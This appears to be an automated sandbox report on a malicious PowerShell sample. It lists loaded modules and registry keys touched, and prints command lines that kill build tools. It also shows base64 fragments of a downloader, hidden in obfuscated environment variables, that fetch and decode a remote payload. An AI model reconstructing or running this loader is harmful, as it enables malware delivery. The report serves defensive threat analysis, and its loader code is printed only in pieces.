"%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffcbfa20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base 7ffcae000000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\VERSION.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffcadec0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base 7ffcad530000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffcad1c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffced4f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffcedf90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffcad090000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\49750EA038273F75321E479EF1525D1E\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffcc5be0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffcacfb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffcd0fe0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffce2170000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffceceb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffceb240000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPCLIENT.DLL" at base 7ffcd90b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffcef710000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffcf0700000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffcee990000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\9494EDA0C9AF503CB61FE450B5BA9C1A\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffcacd70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\B4C34523C582146DEA3CA389E3487145\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffcd87f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ffce7870000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ffcd91e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ffcdbb00000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffcedf90000 "powershell.exe" loaded module "VIRTDISK.DLL" at base 7ffcd99b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ffcebd10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTYPES.DLL" at base 7ffcebad0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPRESOLVER.DLL" at base 7ffcd4240000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 7ffce6ca0000 "powershell.exe" loaded module "KERNELBASE" at base 7ffcedf90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\CE0FD4F5B50BAA17E7B80E4EE874AD11\SYSTEM.NI.DLL" at base 7ffcb4030000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\990501E6199819806F01C8ECAC88BAAC\SYSTEM.CORE.NI.DLL" at base 7ffcb1550000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\EA893D7E336A196C927C3F1251A1D1A9\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffcaf4d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ICB20R7L.DLL" at base 7ffcd0fe0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffcbfa00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffcaf360000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffcaf220000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base 7ffcae970000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base 7ffcadfe0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffcadc70000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffcadb40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffcb3f50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffcc7270000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\468FA5AE84991AAF4D90ECEE8788F024\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffcace20000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "powershell.exe" loaded module "RASAPI32.DLL" at base 7ffcacd10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "powershell.exe" loaded module "WS2_32.DLL" at base 7ffcef470000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffced0d0000 "powershell.exe" loaded module "RASMAN.DLL" at base 7ffcc2b00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "powershell.exe" loaded module "WINHTTP.DLL" at base 7ffce7680000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffccfa50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ffcec780000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffce5300000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ffcacbe0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffce65d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffcecad0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffcdd300000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\9494EDA0C9AF503CB61FE450B5BA9C1A\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffcac9a0000 "powershell.exe" loaded module "GDI32.DLL" at base 7ffceefa0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\3C82A5286B5172D5A68C8DF2E09C4C40\SYSTEM.DRAWING.NI.DLL" at base 7ffcc4820000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\BEE998043EB1E9BADECD282A79540A5E\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ffcc3730000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\3B9003E4F27D92E40668F0EFAD11E022\MSCORLIB.NI.DLL" at base 7ffcc3460000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\990501E6199819806F01C8ECAC88BAAC\SYSTEM.CORE.NI.DLL" at base 7ffcb2b10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\EA893D7E336A196C927C3F1251A1D1A9\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffcb0a90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ffcdf3e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffcdd890000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ICB20R7L.DLL" at base 7ffcdd140000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffcc32f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffcc3180000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base 7ffcb01e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base 7ffcaf850000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffcc2e10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffcc0490000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffcc0360000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffcc2d30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\9494EDA0C9AF503CB61FE450B5BA9C1A\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffcaf610000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\B4C34523C582146DEA3CA389E3487145\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffcdd860000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\468FA5AE84991AAF4D90ECEE8788F024\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffcae8f000039:T10ed,"powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "powershell.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "powershell.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "powershell.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "Activation Layout Preferences" (Path: "HKCU\CLSID\{0DC1AB8B-A52D-4BA8-BD76-E2819386FB2F}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "powershell.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "powershell.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "powershell.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "powershell.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "powershell.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "powershell.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "powershell.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "powershell.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "powershell.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "powershell.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "powershell.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "powershell.exe" touched "This Device" (Path: "HKCU\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "powershell.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "powershell.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "powershell.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "powershell.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "powershell.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "powershell.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "powershell.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "powershell.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "powershell.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "powershell.exe" touched "StreamBackedFolder" (Path: "HKCU\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "powershell.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "powershell.exe" touched "Removable Drives" (Path: "HKCU\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER")3a:T770,Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\conhost.exe" [Source: 00000000-00003788-00000BC0-1366170879] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00003788-00000BC0-1370700402] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00003788-00000BC0-1370703410] Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$ddsdgo = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AY" [Source: 00000000-00001496-00000C46-23772192338], Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & t" [Source: 00000000-00001612-00000C46-37235129220], Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if ((Get-Location).Path -ne '%ALLUSERSPROFILE%\) { (G" [Source: 00000000-00001612-00000C46-38331272200], Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\cmd.exe" [Source: 00000000-00004416-00000BC1-1413525938], Observed system executable string:"%WINDIR%\system32\cmd.exe.*" [Source: 00000000-00004416-00000C2D-38019335748], Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00004416-00000C46-40048147196], Observed system executable string:""%WINDIR%\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F" [Source: 00000000-00004416-00000C46-40048147196], Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\taskkill.exe" [Source: 00000000-00007140-00000BC0-1414769789], Observed system executable string:"%WINDIR%\system32\taskkill.exe" [Source: 00000000-00007140-00000BC0-1414772030]3b:T5793,Process "powershell.exe" (UID: 00000000-00001496) was launched with new environment variables: "σ░öτê▒ΦÇ╗σƒâΘÿ┐µû»Φë╛σ░öσàïΦÇ╗="bQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAdABhA", Θÿ┐Φë╛Φë▓Φ┤¥σƒâτ╗┤Φë▓Φ┤¥σƒâΦ▒å="8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgA", Φ┤¥σàïΦ┤¥Φ┤¥ΦÇ╗Φ▒åτ╗┤Φë▓ΘÑ┐µû»="HIAdABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsADQAKAC", ΘÑ┐ΦÇ╗Φ┤¥Φë╛Φ┤¥Φ┤¥τ╗┤σƒâσ░öΦÇ╗="BzACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGkAbQBhAGcAZQBUAGUAeAB0ACA", ΘÑ┐ΦÇ╗Φ┤¥µû»Φë▓Θÿ┐Θÿ┐σ░öΦë╛σ╛╖="NAAoAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHI", ΦÇ╗µû»Θÿ┐Φ┤¥τ╗┤ΦÇ╗µû»Φë╛Φ┤¥Φë╛="4AawBzACkAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB3AGUAYgBDAGwAaQBlAG4AdAA", Θÿ┐Φë▓Φ┤¥σƒâτ╗┤Φ┤¥τ╗┤Φë╛Φ┤¥σàï="NABNAGIAeQBOAGEAWgBVAFoAbABBAE4AMABtAFYASQBDAFgAZgBCADAAYQBPAF", σàïτê▒τê▒τ╗┤ΘÑ┐Φë▓Φ┤¥σƒâΦ┤¥σàï="IAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkA", σ╛╖Φ┤¥Φë▓ΦÇ╗µû»ΘÑ┐Φ┤¥ΦÇ╗ΘÑ┐σ░ö="bAB4AHcAdABd@AGIAZwB2AHAAbgBwAGYAeQBd@AGUAeAB1AC4AcwB1AHAAYQBiAG", σ╛╖Φ▒åσ╛╖Θÿ┐Φ┤¥σ╛╖µû»Φ▒åσ░öΦë╛="AFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADUAIAB8ACAARgBvA", ΦÇ╗Φ▒åτê▒τê▒σƒâΘÿ┐τ╗┤σàïΦÇ╗Φë▓="EAcwBlAC4AYwBvAC8AcwB0AG8AcgBhAGcAZQAvAHYAMQAvAG8AYgBqAGUAYwB0AC8AcAB1AGIAbAB", σƒâΦ┤¥Φ▒åΘÿ┐σàïτ╗┤ΘÑ┐τ╗┤σƒâΘÑ┐="AcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBt", µû»τ╗┤µû»µû»τê▒Θÿ┐Φ┤¥σ╛╖ΘÑ┐Φ┤¥="oAZQBmAHEANgAxAFIAWQBd@ADIAbQBnAGQAVQAyAGwARQBUAEUAUwA2AEsAcQBRAFkAc", σ╛╖σàïΘÑ┐σƒâσ╛╖ΘÑ┐σ░öΦÇ╗Φ▒åΦÇ╗="QBlAFAAVABkAGMARQB3AEMAcABhADMAawBzAFQAZQA5AE0AMABkAEMAOQBpAGIAbgB5AGYAN", Φ┤¥σàïΘÿ┐Φë▓Φ▒åσ░öσ░öΦë▓Φë╛τ╗┤="HIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUADQAKACAAIAAgACAAI", σƒâσàïΘÿ┐Φ▒åµû»Φ┤¥τ╗┤ΦÇ╗σ╛╖Θÿ┐="wAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgA", σƒâµû»τ╗┤Φë╛Θÿ┐σàïΘÑ┐Φ┤¥τ╗┤Φë▓="AE0AdwA3AHIAcgA5ADkAdQBNAE4AaABjAFEAbABLAGYAYgBFAEgANgBPADQATQAwAEIAOQAyAG", Φ▒åτê▒τê▒σ╛╖µû»Φ┤¥Φë▓µû»Φ┤¥µû»="bwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8Ab", ΘÑ┐µû»Φë▓Φ┤¥Φ┤¥ΦÇ╗Φë▓ΦÇ╗τê▒σ░ö="ADMANwBwAGsAYwBDAFQAeQB3AEMAOABRADQAZwBZAFcAcQByAHUARAB1AEIAUwA5AHkAMwBvAFIAW", σ░öσ╛╖Θÿ┐ΦÇ╗Φ┤¥Φë╛ΦÇ╗Φë▓Φ┤¥Φ┤¥="IAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQ", ΦÇ╗ΦÇ╗σ░öΦ┤¥τê▒σ░öτ╗┤σƒâΦ┤¥τê▒="GQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAG", Φ┤¥Φ┤¥τ╗┤σƒâΘÑ┐Φ┤¥τê▒τ╗┤µû»σàï="HQALQBPAGIAagBlAGMAdAAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAg", ΦÇ╗Θÿ┐τê▒τê▒Φë╛Φ┤¥Φ┤¥Θÿ┐Φ┤¥Φ▒å="AAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlA", ΦÇ╗ΦÇ╗Φ┤¥Φë╛σ╛╖µû»σ░öΘÑ┐τê▒Θÿ┐="AbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGwAaQBuAGsA", µû»Φ▒åσƒâσ╛╖τ╗┤Φ▒åΦ▒åΦ┤¥τ╗┤µû»="AG4AYwB0AGkAbwBuACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBd@AHMAI", σ░öσ░öΦ┤¥Φ┤¥Φ┤¥Φë╛µû»Φ▒åΦ▒åΦ┤¥="0ARwBBAHMAUgB4AEoAaQB2ADkAYgByADUAVgBnADQAagBfAFIANAB6AFIAMwBnAFQAYwBlAFQAZgBtA", σ╛╖ΦÇ╗Θÿ┐Φë╛Φ┤¥Φ┤¥Φë╛ΘÑ┐Φ┤¥τê▒="YQByAHQASQBuAGQAZQB4ACkAIAB7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAK", τê▒σ░öΦÇ╗τ╗┤τê▒σàïΦë╛µû»µû»Φë╛="AAgACAAIAAgACAAIAAgACQAdAB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQB", Φë╛τê▒σ╛╖Θÿ┐Φë▓σ╛╖Φë╛τ╗┤Φë╛τê▒="KQAgAH0AIABjAGEAdABjAGgAIAB7ACAAYwBvAG4AdABpAG4AdQBlACAAfQAgAH0AO", 